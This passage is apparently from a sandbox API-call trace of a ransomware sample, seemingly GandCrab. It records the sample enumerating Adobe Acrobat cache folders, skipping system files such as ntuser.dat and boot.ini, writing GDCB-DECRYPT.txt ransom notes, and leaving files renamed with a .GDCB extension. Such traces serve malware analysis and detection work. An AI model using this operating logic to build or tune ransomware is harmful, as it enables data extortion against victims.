lpString2="..") returned 1 [0170.168] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.168] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 191 [0170.168] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.168] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.168] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.168] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.168] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.168] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 191 [0170.168] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.168] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.168] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.168] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.168] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.168] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 194 [0170.168] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.168] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.168] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.168] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.168] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 195 [0170.168] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.170] GetLastError () returned 0x50 [0170.170] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.170] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 178 [0170.170] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.170] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.170] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.170] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.170] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.170] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.170] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.170] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.170] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.170] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.170] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.170] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 191 [0170.170] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 191 [0170.170] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.170] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.171] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.171] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.171] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.171] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.171] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 191 [0170.171] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 191 [0170.171] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.171] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.171] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.171] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.171] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.171] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.171] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 194 [0170.171] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 194 [0170.171] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 194 [0170.171] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 194 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.171] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.171] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.171] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0170.172] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.172] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.172] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.172] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.172] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.172] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.172] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.172] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.172] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.172] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.172] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.172] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.172] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.172] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.172] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.172] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.172] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.172] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 193 [0170.173] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 193 [0170.173] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.173] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.173] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.173] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.173] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.173] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.173] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 198 [0170.173] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 198 [0170.173] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.173] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.173] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.173] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.173] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.173] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.173] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 188 [0170.173] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 188 [0170.173] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.173] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.173] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.173] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.174] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.174] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0170.174] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.174] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.174] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 192 [0170.174] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.174] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.174] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.174] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.174] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.174] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.174] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.174] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.174] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.174] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.174] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 208 [0170.174] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.174] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.174] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.175] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.175] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 209 [0170.175] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.176] GetLastError () 